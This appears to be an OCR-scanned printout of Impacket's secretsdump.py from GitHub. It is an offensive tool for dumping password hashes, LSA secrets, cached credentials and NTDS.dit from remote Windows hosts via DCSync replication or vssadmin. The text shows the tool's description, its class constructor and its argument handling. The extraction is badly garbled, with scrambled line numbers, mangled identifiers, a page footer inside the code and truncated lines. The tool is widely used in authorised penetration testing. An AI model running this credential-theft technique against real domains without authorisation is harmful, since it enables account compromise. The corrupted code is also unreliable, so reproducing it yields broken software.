

```
2
       # Impacket - Collection of Python classes for working with network protocols.
 3
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 4
 5
 6
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 7
 8
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 9
       # of the Apache Software License. See the accompanying LICENSE file
10
       # for more information.
11
       #
12
       # Description:
           Performs various techniques to dump hashes from the
           remote machine without executing any agent there.
14
           For SAM and LSA Secrets (including cached creds)
15
           we try to read as much as we can from the registry
16
           and then we save the hives in the target system
17
           (%SYSTEMROOT%\\Temp dir) and read the rest of the
18
19
           data from there.
20
           For NTDS.dit we either:
               a. Get the domain users list and get its hashes
21
       #
                  and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
22
                  call, replicating just the attributes we need.
23
24
               b. Extract NTDS.dit via vssadmin executed with the
                  smbexec approach.
25
26
                  It's copied on the temp dir and parsed remotely.
```

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27
28
           The script initiates the services required for its working
           if they are not available (e.g. Remote Registry, even if it is
29
           disabled). After the work is done, things are restored to the
30
           original state.
32
       # Author:
33
           Alberto Solino (@agsolino)
34
35
       # References:
36
           Most of the work done by these guys. I just put all
37
           the pieces together, plus some extra magic.
38
39
           - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
40
       #
           - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
41
           - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
42
           - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
43
       #
           - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
44
           - https://code.google.com/p/creddump/
45
           - https://lab.mediaservice.net/code/cachedump.rb
46
47
           - https://insecurety.net/?p=768
           - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/j
48
           - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-anal
49
50
           - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
51
52
       from __future__ import division
53
54
       from __future__ import print_function
55
       import argparse
       import codecs
56
57
       import logging
58
       import os
       import sys
59
60
       from impacket import version
61
62
       from impacket.examples import logger
63
       from impacket.examples.utils import parse_target
       from impacket.smbconnection import SMBConnection
64
65
       from impacket.ldap.ldap import LDAPConnection, LDAPSessionError
66
67
       from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets,
           KeyListSecrets
68
69
       from impacket.krb5.keytab import Keytab
70
71
           input = raw_input
72
       except NameError:
```

```
73
            pass
 74
 75

✓ class DumpSecrets:
 76 Y
            def __init__(self, remoteName, username='', password='', domain='', options=None):
 77
                self. useVSSMethod = options.use vss
 78
                self.__useKeyListMethod = options.use_keylist
                self.__remoteName = remoteName
 79
 80
                self.__remoteHost = options.target_ip
                self.__username = username
 81
                self.__password = password
 82
 83
                self. domain = domain
                self.__lmhash = ''
 84
                self. nthash = ''
 85
 86
                self.__aesKey = options.aesKey
                self. aesKeyRodc = options.rodcKey
                self. smbConnection = None
 88
 89
                self.__ldapConnection = None
 90
                self. remoteOps = None
 91
                self. SAMHashes = None
                self. NTDSHashes = None
 92
 93
                self. LSASecrets = None
                self.__KeyListSecrets = None
 94
 95
                self. rodc = options.rodcNo
 96
                self. systemHive = options.system
 97
                self.__bootkey = options.bootkey
98
                self.__securityHive = options.security
                self.__samHive = options.sam
                self.__ntdsFile = options.ntds
100
                self.__skipSam = options.skip_sam
101
102
                self. skipSecurity = options.skip security
103
                self. history = options.history
                self.__noLMHash = True
104
105
                self. isRemote = True
                self. outputFileName = options.outputfile
106
                self. doKerberos = options.k
107
108
                self.__justDC = options.just_dc
109
                self. justDCNTLM = options.just dc ntlm
                self. justUser = options.just dc user
110
                self.__ldapFilter = options.ldapfilter
111
                self. skipUser = options.skip user
112
                self.__pwdLastSet = options.pwd_last_set
113
114
                self. printUserStatus= options.user status
115
                self. resumeFileName = options.resumefile
116
                self. canProcessSAMLSA = True
                self.__kdcHost = options.dc_ip
117
                       remoteSSMethod = ontions use remoteSSMethod
112
```

 $impacket/examples/secretsdump.py\ at\ master\cdot fortra/impacket\cdot\ GitHub\ -\ 31/10/2024\ 16:17\ https://github.com/fortra/impacket/blob/master/examples/secretsdump.py$ Jeri-__ emocessite enow = operons.ase_i emocessite enow ___

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```
sys.exit(1)
466
467
468
            options = parser.parse_args()
469
            # Init the example's logger theme
470
471
            logger.init(options.ts)
472
473
            if options.debug is True:
474
                logging.getLogger().setLevel(logging.DEBUG)
                # Print the Library's installation path
475
                logging.debug(version.getInstallationPath())
476
477
            else:
                logging.getLogger().setLevel(logging.INFO)
478
479
480
            domain, username, password, remoteName = parse_target(options.target)
481
482
            if options.just_dc_user is not None or options.ldapfilter is not None:
483
                if options.use_vss is True:
                    logging.error('-just-dc-user switch is not supported in VSS mode')
484
```

```
485
                    sys.exit(1)
                elif options.resumefile is not None:
486
                    logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-d
487
488
                    sys.exit(1)
                elif remoteName.upper() == 'LOCAL' and username == '':
489
490
                    logging.error('-just-dc-user not compatible in LOCAL mode')
491
                    sys.exit(1)
492
                else:
                    # Having this switch on implies not asking for anything else.
493
                    options.just_dc = True
494
495
496
            if options.use_vss is True and options.resumefile is not None:
                logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
497
498
                sys.exit(1)
499
            if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None):
500
501
                logging.error('Both the RODC ID number and the RODC key are required for the Kerb-Key-List
502
                sys.exit(1)
503
            if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
504
                logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
505
                sys.exit(1)
506
507
            if remoteName.upper() == 'LOCAL' and username == '':
508
                if options.system is None and options.bootkey is None:
509
                    logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check h
510
                    sys.exit(1)
511
512
            else:
513
                if options.target_ip is None:
514
                    options.target_ip = remoteName
515
516
                if domain is None:
517
                    domain = ''
518
519
520
                if options.keytab is not None:
521
                    Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
                    options.k = True
522
523
                if password == '' and username != '' and options.hashes is None and options.no pass is Fals
524
                    from getpass import getpass
525
526
527
                    password = getpass("Password:")
528
                if options.aesKey is not None:
529
530
                    options.k = True
```

```
531
            dumper = DumpSecrets(remoteName, username, password, domain, options)
532
            try:
533
                dumper.dump()
534
            except Exception as e:
535
                if logging.getLogger().level == logging.DEBUG:
536
537
                    import traceback
                    traceback.print_exc()
538
                logging.error(e)
539
```